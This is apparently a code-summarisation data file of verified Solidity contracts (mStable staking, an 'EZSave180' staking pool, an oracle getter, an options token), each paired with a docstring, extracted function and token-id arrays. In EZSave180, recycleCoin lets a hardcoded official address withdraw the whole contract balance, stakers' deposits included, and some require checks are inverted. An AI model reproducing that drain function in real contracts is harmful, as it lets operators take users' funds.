of a stakers capital that is at * risk in the recollateralisation process. * @param _newRate Rate, where 50% == 5e17 **/ function changeSlashingPercentage(uint256 _newRate) external onlyGovernor onlyBeforeRecollateralisation { require(_newRate <= 5e17, "Cannot exceed 50%"); safetyData.slashingPercentage = SafeCast.toUint128(_newRate); emit SlashRateChanged(_newRate); } /** * @dev Allows governance to whitelist a smart contract to interact with the StakedToken (for example a yield aggregator or simply * a Gnosis SAFE or other) * @param _wrapper Address of the smart contract to list **/ function whitelistWrapper(address _wrapper) external onlyGovernor { whitelistedWrappers[_wrapper] = true; emit WrapperWhitelisted(_wrapper); } /** * @dev Allows governance to blacklist a smart contract to end it's interaction with the StakedToken * @param _wrapper Address of the smart contract to blacklist **/ function blackListWrapper(address _wrapper) external onlyGovernor { whitelistedWrappers[_wrapper] = false; emit WrapperBlacklisted(_wrapper); } /*************************************** BACKWARDS COMPATIBILITY ****************************************/ /** * @dev Allows for backwards compatibility with createLock fn, giving basic args to stake * @param _value Units to stake **/ function createLock( uint256 _value, uint256 /* _unlockTime */ ) external { _transferAndStake(_value, address(0), false); } /** * @dev Allows for backwards compatibility with increaseLockAmount fn by simply staking more * @param _value Units to stake **/ function increaseLockAmount(uint256 _value) external { require(balanceOf(_msgSender()) != 0, "Nothing to increase"); _transferAndStake(_value, address(0), false); } /** * @dev Backwards compatibility. Previously a lock would run out and a user would call this. Now, it will take 2 calls * to exit in order to leave. The first will initiate the cooldown period, and the second will execute a full withdrawal. **/ function exit() external virtual { // Since there is no immediate exit here, this can be called twice // If there is no cooldown, or the cooldown has passed the unstake window, enter cooldown uint128 ts = _balances[_msgSender()].cooldownTimestamp; if (ts == 0 || block.timestamp > ts + COOLDOWN_SECONDS + UNSTAKE_WINDOW) { (uint256 raw, uint256 cooldownUnits) = rawBalanceOf(_msgSender()); _startCooldown(raw + cooldownUnits); } // Else withdraw all available else { _withdraw(_balances[_msgSender()].cooldownUnits, _msgSender(), true, false); } } /*************************************** GETTERS ****************************************/ /** * @dev fee = sqrt(300/x)-2.5, where x = weeks since user has staked * @param _weightedTimestamp The users weightedTimestamp * @return _feeRate where 1% == 1e16 */ function calcRedemptionFeeRate(uint32 _weightedTimestamp) public view returns (uint256 _feeRate) { uint256 weeksStaked = ((block.timestamp - _weightedTimestamp) * 1e18) / ONE_WEEK; if (weeksStaked > 3e18) { // e.g. weeks = 1 = sqrt(300e18) = 17320508075 // e.g. weeks = 10 = sqrt(30e18) = 5477225575 // e.g. weeks = 26 = sqrt(11.5) = 3391164991 _feeRate = Root.sqrt(300e36 / weeksStaked) * 1e7; // e.g. weeks = 1 = 173e15 - 25e15 = 148e15 or 14.8% // e.g. weeks = 10 = 55e15 - 25e15 = 30e15 or 3% // e.g. weeks = 26 = 34e15 - 25e15 = 9e15 or 0.9% _feeRate = _feeRate < 25e15 ? 0 : _feeRate - 25e15; } else { _feeRate = 75e15; } } uint256[48] private __gap; } struct ExitPoolRequest { address[] assets; uint256[] minAmountsOut; bytes userData; bool toInternalBalance; } interface IBVault { function exitPool( bytes32 poolId, address sender, address payable recipient, ExitPoolRequest memory request ) external; function getPoolTokens(bytes32 poolId) external view returns ( address[] memory tokens, uint256[] memory balances, uint256 lastChangeBlock ); } // SPDX-License-Identifier: AGPL-3.0-or-later /** * @title StakedTokenBPT * @dev Derives from StakedToken, and simply adds the ability to withdraw any unclaimed $BAL tokens * that are at this address **/ contract StakedTokenBPT is StakedToken { using SafeERC20 for IERC20; /// @notice Balancer token IERC20 public immutable BAL; /// @notice Balancer vault IBVault public immutable balancerVault; /// @notice Balancer poolId bytes32 public immutable poolId; /// @notice contract that can redistribute the $BAL address public balRecipient; /// @notice Keeper address public keeper; /// @notice Pending fees in BPT terms uint256 public pendingBPTFees; /// @notice Most recent PriceCoefficient uint256 public priceCoefficient; /// @notice Time of last priceCoefficient upgrade uint256 public lastPriceUpdateTime; event KeeperUpdated(address newKeeper); event BalClaimed(); event BalRecipientChanged(address newRecipient); event PriceCoefficientUpdated(uint256 newPriceCoeff); event FeesConverted(uint256 bpt, uint256 mta); /*************************************** INIT ****************************************/ /** * @param _nexus System nexus * @param _rewardsToken Token that is being distributed as a reward. eg MTA * @param _stakedToken Core token that is staked and tracked (e.g. MTA) * @param _cooldownSeconds Seconds a user must wait after she initiates her cooldown before withdrawal is possible * @param _unstakeWindow Window in which it is possible to withdraw, following the cooldown period * @param _bal Balancer addresses, [0] = $BAL addr, [1] = BAL vault * @param _poolId Balancer Pool identifier */ constructor( address _nexus, address _rewardsToken, address _questManager, address _stakedToken, uint256 _cooldownSeconds, uint256 _unstakeWindow, address[2] memory _bal, bytes32 _poolId ) StakedToken( _nexus, _rewardsToken, _questManager, _stakedToken, _cooldownSeconds, _unstakeWindow, true ) { BAL = IERC20(_bal[0]); balancerVault = IBVault(_bal[1]); poolId = _poolId; } /** * @param _nameArg Token name * @param _symbolArg Token symbol * @param _rewardsDistributorArg mStable Rewards Distributor * @param _balRecipient contract that can redistribute the $BAL * @param _priceCoefficient Initial pricing coefficient */ function initialize( bytes32 _nameArg, bytes32 _symbolArg, address _rewardsDistributorArg, address _balRecipient, uint256 _priceCoefficient ) external initializer { __StakedToken_init(_nameArg, _symbolArg, _rewardsDistributorArg); balRecipient = _balRecipient; priceCoefficient = _priceCoefficient; } modifier governorOrKeeper() { require(_msgSender() == _governor() || _msgSender() == keeper, "Gov or keeper"); _; } /*************************************** BAL incentives ****************************************/ /** * @dev Claims any $BAL tokens present on this address as part of any potential liquidity mining program */ function claimBal() external { uint256 balance = BAL.balanceOf(address(this)); BAL.safeTransfer(balRecipient, balance); emit BalClaimed(); } /** * @dev Sets the recipient for any potential $BAL earnings */ function setBalRecipient(address _newRecipient) external onlyGovernor { balRecipient = _newRecipient; emit BalRecipientChanged(_newRecipient); } /*************************************** FEES ****************************************/ /** * @dev Converts fees accrued in BPT into MTA, before depositing to the rewards contract */ function convertFees() external nonReentrant { uint256 pendingBPT = pendingBPTFees; require(pendingBPT > 1, "Must have something to convert"); pendingBPTFees = 1; // 1. Sell the BPT uint256 stakingBalBefore = STAKED_TOKEN.balanceOf(address(this)); uint256 mtaBalBefore = REWARDS_TOKEN.balanceOf(address(this)); (address[] memory tokens, , ) = balancerVault.getPoolTokens(poolId); require(tokens[0] == address(REWARDS_TOKEN), "MTA in wrong place"); // 1.1. Calculate minimum output amount uint256[] memory minOut = new uint256[](2); { // 10% discount from the latest pcoeff // e.g. 1e18 * 42000 / 11000 = 3.81e18 minOut[0] = (pendingBPT * priceCoefficient) / 11000; } // 1.2. Exits to here, from here. Assumes token is in position 0 balancerVault.exitPool( poolId, address(this), payable(address(this)), ExitPoolRequest(tokens, minOut, bytes(abi.encode(0, pendingBPT - 1, 0)), false) ); // 2. Verify and update state uint256 stakingBalAfter = STAKED_TOKEN.balanceOf(address(this)); require( stakingBalAfter == (stakingBalBefore - pendingBPT + 1), "Must sell correct amount of BPT" ); // 3. Inform HeadlessRewards about the new rewards uint256 received = REWARDS_TOKEN.balanceOf(address(this)) - mtaBalBefore; require(received >= minOut[0], "Must receive tokens"); super._notifyAdditionalReward(received); emit FeesConverted(pendingBPT, received); } /** * @dev Called by the child contract to notify of any additional rewards that have accrued. * Trusts that this is called honestly. * @param _additionalReward Units of additional RewardToken to add at the next notification */ function _notifyAdditionalReward(uint256 _additionalReward) internal override { require(_additionalReward < 1e24, "more than a million units"); pendingBPTFees += _additionalReward; } /*************************************** PRICE ****************************************/ /** * @dev Sets the keeper that is responsible for fetching new price coefficients */ function setKeeper(address _newKeeper) external onlyGovernor { keeper = _newKeeper; emit KeeperUpdated(_newKeeper); } /** * @dev Allows the governor or keeper to update the price coeff */ function fetchPriceCoefficient() external governorOrKeeper { require(block.timestamp > lastPriceUpdateTime + 14 days, "Max 1 update per 14 days"); uint256 newPriceCoeff = getProspectivePriceCoefficient(); uint256 oldPriceCoeff = priceCoefficient; uint256 diff = newPriceCoeff > oldPriceCoeff ? newPriceCoeff - oldPriceCoeff : oldPriceCoeff - newPriceCoeff; // e.g. 500 * 10000 / 35000 = 5000000 / 35000 = 142 require((diff * 10000) / oldPriceCoeff > 500, "Must be > 5% diff"); require(newPriceCoeff > 15000 && newPriceCoeff < 75000, "Out of bounds"); priceCoefficient = newPriceCoeff; lastPriceUpdateTime = block.timestamp; emit PriceCoefficientUpdated(newPriceCoeff); } /** * @dev Fetches most recent priceCoeff from the balancer pool. * PriceCoeff = units of MTA per BPT, scaled to 1:1 = 10000 * Assuming an 80/20 BPT, it is possible to calculate * PriceCoeff (p) = balanceOfMTA in pool (b) / bpt supply (s) / 0.8 * p = b * 1.25 / s */ function getProspectivePriceCoefficient() public view returns (uint256 newPriceCoeff) { (address[] memory tokens, uint256[] memory balances, ) = balancerVault.getPoolTokens( poolId ); require(tokens[0] == address(REWARDS_TOKEN), "MTA in wrong place"); // Calculate units of MTA per BPT // e.g. 800e18 * 125e16 / 1000e18 = 1e18 // e.g. 1280e18 * 125e16 / 1000e18 = 16e17 uint256 unitsPerToken = (balances[0] * 125e16) / STAKED_TOKEN.totalSupply(); // e.g. 1e18 / 1e14 = 10000 // e.g. 16e17 / 1e14 = 16000 newPriceCoeff = unitsPerToken / 1e14; } /** * @dev Get the current priceCoeff */ function _getPriceCoeff() internal view override returns (uint256) { return priceCoefficient; } }
* @param _nameArg Token name @param _symbolArg Token symbol @param _rewardsDistributorArg mStable Rewards Distributor @param _balRecipient contract that can redistribute the $BAL @param _priceCoefficient Initial pricing coefficient/
function initialize( bytes32 _nameArg, bytes32 _symbolArg, address _rewardsDistributorArg, address _balRecipient, uint256 _priceCoefficient ) external initializer { __StakedToken_init(_nameArg, _symbolArg, _rewardsDistributorArg); balRecipient = _balRecipient; priceCoefficient = _priceCoefficient; }
10,984,013
[ 1, 67, 529, 4117, 3155, 508, 225, 389, 7175, 4117, 3155, 3273, 225, 389, 266, 6397, 1669, 19293, 4117, 312, 30915, 534, 359, 14727, 3035, 19293, 225, 389, 70, 287, 18241, 6835, 716, 848, 5813, 887, 326, 271, 38, 1013, 225, 389, 8694, 4249, 25403, 10188, 31765, 16554, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 4046, 12, 203, 3639, 1731, 1578, 389, 529, 4117, 16, 203, 3639, 1731, 1578, 389, 7175, 4117, 16, 203, 3639, 1758, 389, 266, 6397, 1669, 19293, 4117, 16, 203, 3639, 1758, 389, 70, 287, 18241, 16, 203, 3639, 2254, 5034, 389, 8694, 4249, 25403, 203, 565, 262, 3903, 12562, 288, 203, 3639, 1001, 510, 9477, 1345, 67, 2738, 24899, 529, 4117, 16, 389, 7175, 4117, 16, 389, 266, 6397, 1669, 19293, 4117, 1769, 203, 3639, 324, 287, 18241, 273, 389, 70, 287, 18241, 31, 203, 3639, 6205, 4249, 25403, 273, 389, 8694, 4249, 25403, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** *Submitted for verification at Etherscan.io on 2021-08-31 */ pragma solidity 0.5.12 ; pragma experimental ABIEncoderV2; library SafeMath { function mul(uint a, uint b) internal pure returns(uint) { uint c = a * b; require(a == 0 || c / a == b); return c; } function div(uint a, uint b) internal pure returns(uint) { require(b > 0); uint c = a / b; require(a == b * c + a % b); return c; } function sub(uint a, uint b) internal pure returns(uint) { require(b <= a); return a - b; } function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a); return c; } function max64(uint64 a, uint64 b) internal pure returns(uint64) { return a >= b ? a: b; } function min64(uint64 a, uint64 b) internal pure returns(uint64) { return a < b ? a: b; } function max256(uint256 a, uint256 b) internal pure returns(uint256) { return a >= b ? a: b; } function min256(uint256 a, uint256 b) internal pure returns(uint256) { return a < b ? a: b; } } contract ERC20 { function totalSupply() public returns (uint); function balanceOf(address tokenOwner) public returns (uint balance); function allowance(address tokenOwner, address spender) public returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract EZSave180 { address erc20TokenAddress = 0x9E8bfE46f9Af27c5Ea5C9C72b86D71bb86953A0c; address officialAddress = 0xc4D1DC8D23Bc20b7AA6a3Fbc024A8C06Ec0A7C8d; uint256 DAY_NUM = 86400; uint256 LIMIT_DAY = 180; uint256 PERCENT = 8; uint256 OFFICIAL_PERCENT = 8; uint256 DECIMALS = 18; // 2022-02-01 uint256 BUY_EXPIRE_DATE = 1643644800; uint256 YEAR_DAYS = 365; address public owner; struct Staking { address stakingAddress; uint coin; uint256 startDatetime; uint256 expireDatetime; uint256 sum; uint256 officialBonus; bool isEnd; } mapping(address => Staking) internal stakingMap; address[] stakingArray; constructor() public { owner = msg.sender; } /* Get total staking members */ function getStakingNum() public view returns (uint) { return stakingArray.length; } /* Get address information data */ function getStaking(address walletAddress) public view returns(address,uint,uint256,uint256,uint256,uint256,bool) { Staking memory staking = stakingMap[walletAddress]; return (staking.stakingAddress,staking.coin,staking.startDatetime,staking.expireDatetime,staking.sum,staking.officialBonus,staking.isEnd); } /* Get contract address */ function getContractAddress() public view returns (address) { return address(this); } /* Provide users to insert coin to Contract pools */ function transferToContract(uint coin) public returns(string memory){ calMainLogic(); if(coin <= 1000000000000000000000) { require(coin <= 1000000000000000000000,"Number must be greater than 1000."); return "Number must be greater than 1000."; } if(isStakingExists(msg.sender)) { require(isStakingExists(msg.sender),"Staking user already exists."); return "Staking user already exists."; } if(now > BUY_EXPIRE_DATE) { require(now > BUY_EXPIRE_DATE,"Purchase time has passed."); return "Purchase time has passed."; } ERC20(erc20TokenAddress).transferFrom(msg.sender, address(this), coin); stakingArray.push(msg.sender); Staking memory newStaking = Staking({ stakingAddress: msg.sender, coin: coin, startDatetime: now, expireDatetime: now + DAY_NUM * LIMIT_DAY, sum:0, officialBonus:0, isEnd:false }); stakingMap[msg.sender] = newStaking; return "Success"; } /* * Check address is Exists in contract */ function isStakingExists(address walletAddress) public view returns (bool) { return stakingMap[walletAddress].coin != 0; } /* Invoke Staking bonus when no user insert coins. */ function calMainLogic() public { for(uint i=0;i<stakingArray.length;i++) { Staking memory staking = stakingMap[stakingArray[i]]; if(!staking.isEnd && now >= staking.expireDatetime) { uint bonus = stakingMap[stakingArray[i]].coin * LIMIT_DAY * PERCENT / 100 / YEAR_DAYS; uint officialBonus = bonus * OFFICIAL_PERCENT / 100; stakingMap[stakingArray[i]].sum = bonus - officialBonus + stakingMap[stakingArray[i]].coin; stakingMap[stakingArray[i]].officialBonus = officialBonus; stakingMap[stakingArray[i]].isEnd = true; ERC20(erc20TokenAddress).transfer(staking.stakingAddress, stakingMap[stakingArray[i]].sum); ERC20(erc20TokenAddress).transfer(officialAddress, officialBonus); } } } /* * Get All element for statking memory */ function getAll() public view returns(Staking[] memory) { Staking[] memory stakingList = new Staking[](stakingArray.length); for(uint i=0;i<stakingArray.length;i++) { Staking memory staking = stakingMap[stakingArray[i]]; stakingList[i] = staking; } return stakingList; } /* * Official recycle coin mechanism */ function recycleCoin() public { if(officialAddress == msg.sender) { uint contractBalance = ERC20(erc20TokenAddress).balanceOf(address(this)); ERC20(erc20TokenAddress).transfer(officialAddress, contractBalance); } } //This function for decimal set 0 function getDecimalsZero() public view returns (uint) { uint num = 1; for(uint i=0;i<DECIMALS;i++) { num = num * 10; } return num; } /* Get Now TimeZone. */ function getNow() public view returns(uint) { return now; } function getAddressList() public view returns(address[] memory) { return stakingArray; } }
This function for decimal set 0
function getDecimalsZero() public view returns (uint) { uint num = 1; for(uint i=0;i<DECIMALS;i++) { num = num * 10; } return num; }
2,347,960
[ 1, 2503, 445, 364, 6970, 444, 374, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 336, 31809, 7170, 1435, 1071, 1476, 1135, 261, 11890, 13, 288, 203, 540, 203, 3639, 2254, 818, 273, 404, 31, 203, 3639, 364, 12, 11890, 277, 33, 20, 31, 77, 32, 23816, 55, 31, 77, 27245, 288, 203, 540, 203, 5411, 818, 273, 818, 380, 1728, 31, 203, 3639, 289, 203, 3639, 327, 818, 31, 203, 565, 289, 203, 377, 203, 377, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0xF0cF259386C739bDA665d7c07F32C9c5c9E29ef8/sources/src/core/oracles/SDYCAggregator.sol
* @notice get data about a round @return roundId is the round ID for which data was retrieved @return answer is the answer for the given round @return startedAt is always equal to updatedAt @return updatedAt is the timestamp when the round last was updated (i.e. answer was last computed) @return answeredInRound is always equal to roundId/
function getRoundData(uint80 _roundId) public view returns (uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound) { RoundData memory round = rounds[_roundId]; return (_roundId, round.answer, round.updatedAt, round.updatedAt, _roundId); }
2,998,002
[ 1, 588, 501, 2973, 279, 3643, 327, 3643, 548, 353, 326, 3643, 1599, 364, 1492, 501, 1703, 10295, 327, 5803, 353, 326, 5803, 364, 326, 864, 3643, 327, 5746, 861, 353, 3712, 3959, 358, 31944, 327, 31944, 353, 326, 2858, 1347, 326, 3643, 1142, 1703, 3526, 261, 77, 18, 73, 18, 5803, 1703, 1142, 8470, 13, 327, 5803, 329, 382, 11066, 353, 3712, 3959, 358, 3643, 548, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 4170, 772, 751, 12, 11890, 3672, 389, 2260, 548, 13, 203, 3639, 1071, 203, 3639, 1476, 203, 3639, 1135, 261, 11890, 3672, 3643, 548, 16, 509, 5034, 5803, 16, 2254, 5034, 5746, 861, 16, 2254, 5034, 31944, 16, 2254, 3672, 5803, 329, 382, 11066, 13, 203, 565, 288, 203, 3639, 11370, 751, 3778, 3643, 273, 21196, 63, 67, 2260, 548, 15533, 203, 203, 3639, 327, 261, 67, 2260, 548, 16, 3643, 18, 13490, 16, 3643, 18, 7007, 861, 16, 3643, 18, 7007, 861, 16, 389, 2260, 548, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.6.6; import "./ERC20.sol"; import "./Address.sol"; import "./BokkyPooBahsDateTimeLibrary.sol"; import "./Strings.sol"; /** * @title ACOToken * @dev The implementation of the ACO token. * The token is ERC20 compliance. */ contract ACOToken is ERC20 { using Address for address; /** * @dev Struct to store the accounts that generated tokens with a collateral deposit. */ struct TokenCollateralized { /** * @dev Current amount of tokens. */ uint256 amount; /** * @dev Index on the collateral owners array. */ uint256 index; } /** * @dev Emitted when collateral is deposited on the contract. * @param account Address of the collateral owner. * @param amount Amount of collateral deposited. */ event CollateralDeposit(address indexed account, uint256 amount); /** * @dev Emitted when collateral is withdrawn from the contract. * @param account Address of the collateral destination. * @param amount Amount of collateral withdrawn. * @param fee The fee amount charged on the withdrawal. */ event CollateralWithdraw(address indexed account, uint256 amount, uint256 fee); /** * @dev Emitted when the collateral is used on an assignment. * @param from Address of the account of the collateral owner. * @param to Address of the account that exercises tokens to get the collateral. * @param paidAmount Amount paid to the collateral owner. * @param tokenAmount Amount of tokens used to exercise. */ event Assigned(address indexed from, address indexed to, uint256 paidAmount, uint256 tokenAmount); /** * @dev The ERC20 token address for the underlying asset (0x0 for Ethereum). */ address public underlying; /** * @dev The ERC20 token address for the strike asset (0x0 for Ethereum). */ address public strikeAsset; /** * @dev Address of the fee destination charged on the exercise. */ address payable public feeDestination; /** * @dev True if the type is CALL, false for PUT. */ bool public isCall; /** * @dev The strike price for the token with the strike asset precision. */ uint256 public strikePrice; /** * @dev The UNIX time for the token expiration. */ uint256 public expiryTime; /** * @dev The total amount of collateral on the contract. */ uint256 public totalCollateral; /** * @dev The fee value. It is a percentage value (100000 is 100%). */ uint256 public acoFee; /** * @dev Symbol of the underlying asset. */ string public underlyingSymbol; /** * @dev Symbol of the strike asset. */ string public strikeAssetSymbol; /** * @dev Decimals for the underlying asset. */ uint8 public underlyingDecimals; /** * @dev Decimals for the strike asset. */ uint8 public strikeAssetDecimals; /** * @dev Underlying precision. (10 ^ underlyingDecimals) */ uint256 internal underlyingPrecision; /** * @dev Accounts that generated tokens with a collateral deposit. */ mapping(address => TokenCollateralized) internal tokenData; /** * @dev Array with all accounts with collateral deposited. */ address[] internal _collateralOwners; /** * @dev Internal data to control the reentrancy. */ bool internal _notEntered; /** * @dev Modifier to check if the token is not expired. * It is executed only while the token is not expired. */ modifier notExpired() { require(_notExpired(), "ACOToken::Expired"); _; } /** * @dev Modifier to prevents a contract from calling itself during the function execution. */ modifier nonReentrant() { require(_notEntered, "ACOToken::Reentry"); _notEntered = false; _; _notEntered = true; } /** * @dev Function to initialize the contract. * It should be called when creating the token. * It must be called only once. The `assert` is to guarantee that behavior. * @param _underlying Address of the underlying asset (0x0 for Ethereum). * @param _strikeAsset Address of the strike asset (0x0 for Ethereum). * @param _isCall True if the type is CALL, false for PUT. * @param _strikePrice The strike price with the strike asset precision. * @param _expiryTime The UNIX time for the token expiration. * @param _acoFee Value of the ACO fee. It is a percentage value (100000 is 100%). * @param _feeDestination Address of the fee destination charged on the exercise. */ function init( address _underlying, address _strikeAsset, bool _isCall, uint256 _strikePrice, uint256 _expiryTime, uint256 _acoFee, address payable _feeDestination ) public { require(underlying == address(0) && strikeAsset == address(0) && strikePrice == 0, "ACOToken::init: Already initialized"); require(_expiryTime > now, "ACOToken::init: Invalid expiry"); require(_strikePrice > 0, "ACOToken::init: Invalid strike price"); require(_underlying != _strikeAsset, "ACOToken::init: Same assets"); require(_acoFee <= 500, "ACOToken::init: Invalid ACO fee"); // Maximum is 0.5% require(_isEther(_underlying) || _underlying.isContract(), "ACOToken::init: Invalid underlying"); require(_isEther(_strikeAsset) || _strikeAsset.isContract(), "ACOToken::init: Invalid strike asset"); underlying = _underlying; strikeAsset = _strikeAsset; isCall = _isCall; strikePrice = _strikePrice; expiryTime = _expiryTime; acoFee = _acoFee; feeDestination = _feeDestination; underlyingDecimals = _getAssetDecimals(_underlying); strikeAssetDecimals = _getAssetDecimals(_strikeAsset); underlyingSymbol = _getAssetSymbol(_underlying); strikeAssetSymbol = _getAssetSymbol(_strikeAsset); underlyingPrecision = 10 ** uint256(underlyingDecimals); _notEntered = true; } /** * @dev Function to guarantee that the contract will not receive ether directly. */ receive() external payable { revert(); } /** * @dev Function to get the token name. */ function name() public view override 